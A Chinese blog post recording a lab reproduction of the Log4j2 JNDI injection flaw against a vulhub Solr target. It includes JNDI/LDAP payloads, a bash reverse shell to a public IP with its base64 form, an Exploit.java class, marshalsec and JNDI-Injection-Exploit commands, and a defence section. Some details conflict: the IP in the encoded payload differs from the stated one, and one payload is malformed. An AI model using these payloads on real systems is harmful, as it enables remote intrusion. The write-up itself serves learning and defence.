log4j遠端程式碼執行漏洞

假牙哥66發表於2024-06-08

根據這個大佬的文章進行學習的

https://blog.csdn.net/Bossfrank/article/details/130148819

一:漏洞概述

Log4j漏洞是由於Log4j 2在處理日誌訊息中的JNDI(Java Naming and Directory Interface)查詢時存在的不安全實現而引發的。攻擊者可以透過特製的日誌訊息利用此漏洞,從而使Log4j在處理日誌訊息時,連線到惡意的LDAP伺服器並執行任意程式碼。


二:漏洞原理

攻擊者構造payload,在JNDI介面lookup查詢進行注入,payload為${jndi:ldap:惡意url/poc},JNDI會去對應的服務(如LDAP、RMI、DNS、檔案系統、目錄服務…本例為ldap)查詢資源,由於lookup的出棧沒做限制,最終指向了攻擊者部署好的惡意站點,下載了遠端的惡意class,最終造成了遠端程式碼執行rce。

log4j2框架下的lookup查詢服務提供了{}欄位解析功能,傳進去的值會被直接解析。例如${java:version}會被替換為對應的java版本。這樣如果不對lookup的出棧進行限制,就有可能讓查詢指向任何服務(可能是攻擊者部署好的惡意程式碼)。

攻擊者可以利用這一點進行JNDI注入,使得受害者請求遠端服務來連結本地物件,在lookup的{}裡面構造payload,呼叫JNDI服務(LDAP)向攻擊者提前部署好的惡意站點獲取惡意的.class物件,造成了遠端程式碼執行(可反彈shell到指定伺服器)。


三:漏洞利用

攻擊者利用該漏洞的步驟如下:

  1. 構造惡意日誌訊息:攻擊者建立一個包含JNDI查詢請求的特製字串,例如${jndi:ldap://attacker.com/a}。
  2. 日誌記錄:該字串被應用程式記錄到日誌中。
  3. JNDI查詢:Log4j在處理這條日誌訊息時,會解析JNDI查詢請求並嘗試連線到指定的LDAP伺服器。
  4. 惡意程式碼執行:如果LDAP伺服器返回一個惡意的Java類,Log4j將載入並執行該類中的程式碼,從而使攻擊者能夠在目標系統上執行任意程式碼。

lookup功能:

  • Lookup 是一種查詢機制,用於動態獲取和替換日誌記錄中的變數或屬性的值。它提供了一種靈活的方式,可以在日誌訊息中引用、解析和插入各種上下文相關的資訊。
  • log4j中除了sys解析器外,還有很多其他型別的解析器。其中,jndi 解析器就是本次漏洞的源頭

JNDI解析器:

  • JND全稱為Java命名和目錄介面,提供了命名服務和目錄服務,允許從指定的遠端伺服器獲取並載入物件,JNDI注入攻擊時常用的就是透過RMI和LDAP兩種服務。

  • 正常的包含jndi的日誌記錄方式如下:

  • logger.info("system propety: ${jndi:schema://url}");

  • log4j2框架下的lookup查詢服務提供了{}欄位解析功能,傳進去的值會被直接解析。例如${java:version}會被替換為對應的java版本。這樣如果不對lookup的出棧進行限制,就有可能讓查詢指向任何服務(可能是攻擊者部署好的惡意程式碼)。

  • jdk將從url指定的路徑下載一段位元組流,並將其反序列化為Java物件,作為jndi返回。反序列化過程中,即會執行位元組流中包含的程式。

  • 攻擊者如何控制伺服器上記錄的日誌內容呢?

  • 大部分web服務程式都會對使用者輸入進行日誌記錄。例如:使用者訪問了哪些url,有哪些關鍵的輸入等,都會被作為引數送到log4j中,我們在這些地方寫上 ${jndi:ldap://xxx.dnslog.cn}就可以使web服務從xxx.dnslog.cn下載位元組流了。


ldap服務:

LDAP(輕型目錄訪問協議)是一個開放的,中立的,工業標準的應用協議,
透過IP協議提供訪問 控制和維護分散式資訊的目錄資訊。

目錄是一個為查詢、瀏覽和搜尋而最佳化的專業分散式資料庫,它呈 樹狀結構組織資料,就好象Linux/Unix系統中的檔案目錄一樣。


RMI:

RMI(遠端方法呼叫):它是一種機制,能夠讓在某個java虛擬機器上的物件呼叫另一個Java虛擬機器 的物件的方法。


四:漏洞復現

1、漏洞環境

啟動靶機
cd /vulhub-master/log4j/CVE-2021-44228
docker-compose up -d


遇到的問題

docker-compose up -d拉取不了

  • 報錯顯示
    image
  • 意思就是docker在守護程序連線的時候,TLs三次握手失敗,屬於是網路不行
    一開始認為是DNS解析地址錯誤
    找到地址解析檔案,修改為如下所示
    image
    重新拉取,失敗
    然後,繼續百度找大佬解決問題
    發現可以新增國內的加速服務,命令如下
    首先需要建立daemon.json
    vim /etc/docker/daemon.json建立並編輯,在複製下面程式碼
    `{
點選檢視程式碼
`{
  "registry-mirrors": ["https://registry.docker-cn.com","https://y4xpdpoy.mirror.aliyuncs.com"]
}`

然後重啟服務
systemctl restart docker systemctl daemon-reload
成功拉取映象
image


2、訪問靶機

ip:8983訪問
image
訪問成功

3、登入網站dns回顯網站

http://ceye.io/

根據身份識別符號,構造payload,檢視cecy是否返回資料。
image

4、DNS回顯驗證

http://111.173.104.122:8983/solr/admin/cores?action=${jndi:ldap://w3caue.ceye.io}
image
成功回顯

5、反彈shell方法一之編寫惡意class檔案

1、編寫以下的惡意檔案Exploit.java
bash -i >& /dev/tcp/47.236.108.184/7777 0>&1我們需要反彈shell到47.236.108.184的7777埠,所以命令這樣寫
2、然後對上述命令進行base64編碼,這裡給出一個網站,可以直接進行payload的編碼:https://ares-x.com/tools/runtime-exec
image
3、編碼結果為:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTA4LjE4NC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
4、然後可以寫惡意檔案了

點選檢視程式碼
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}
5、然後我們把Exploit.java編譯為Exploit.class,最好保證javac的版本為1.8

image

6、把編譯好的檔案放到攻擊機上
image
接下來,我們在攻擊機啟動LDAP服務。這裡使用工具marshalsec-0.0.3-SNAPSHOT-all.jar來快速開啟
https://www.cnblogs.com/cute-puli/p/14373826.html 工具教程
命令如下
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.36.161:7777/#Exploit" 1389

image


7、接著在攻擊機用nc監聽
nc -lvvp 7777

8、 最後一步,也是最關鍵的一步,進行JNDI注入,我們在注入點/solr/admin/cores?action構造一個JNDI注入如下:

${jndi:ldap://192.168.36.161:1389/Exploit}

完整的url為:
http://192.168.36.130:8983/solr/admin/cores?action=${jndi:ldap://192.168.36.161:1389/Exploit}
image


成功反彈shell
image


可以看到最後兩條日誌資訊,靶機已經透過GET方法請求了我們的惡意程式碼Exploit.class,狀態碼為200,成功響應,此時應該已經實現了RCE遠端程式碼執行。我們檢視對7777埠進行監聽的終端,成功獲取了shell:

image


6、反彈shell方法二之快捷工具

1、用到的工具為JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,地址為https://github.com/welk1n/JNDI-Injection-Exploit/releases
利用此工具即可不用編寫.class檔案,直接一鍵部署

2、然後我們利用JNDI注入工具把這個反彈shell命令部署到LDAP服務上去,在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar所在目錄執行如下命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "構造反彈shell的命令的base64編碼" -A "攻擊機ip"
image

可以看到,這裡已經一鍵部署好了RMI和LDAP服務的站點,並給出了路徑,JDK1.8的版本為ldap://192.168.200.131:1389/Exploit,JDK1.7的版本為:ldap://192.168.200.131:1389/Exploit7
3、然後用nc監聽
nc -lvvp 6666
4、構造pyload
http://192.168.36.130:8983/solr/admin/cores?action=${rmi:ldap://192.168.36.161:1099/Exploit}
image
5、成功反彈shell
image
6、最後關閉靶場
docker-compose down

復結結束

成果:瞭解到log4j2的原理及利用過程,以及知道了如何識別log4j2漏洞攻擊的特徵
如何排查是否受到了攻擊?

排查方法

檢查日誌中是否存在"jndi:ldap://"、"jndi:rmi//"等字元來發現可能的攻擊行為,前面復現的過程在payload的構造中都出現了這樣的字串,這是攻擊的典型標誌。

如何對log4j2的攻擊進行防禦?

1.設定log4j2.formatMsgNoLookups=True。相當於直接禁止lookup查詢出棧,也就不可能請求到訪問到遠端的惡意站點。
2.對包含有"jndi:ldap://"、"jndi:rmi//"這樣字串的請求進行攔截,即攔截JNDI語句來防止JNDI注入。
3.對系統進行合理配置,禁止不必要的業務訪問外網,配置網路防火牆,禁止系統主動外連網路等等。
4.升級log4j2元件到新的安全的版本。

相關文章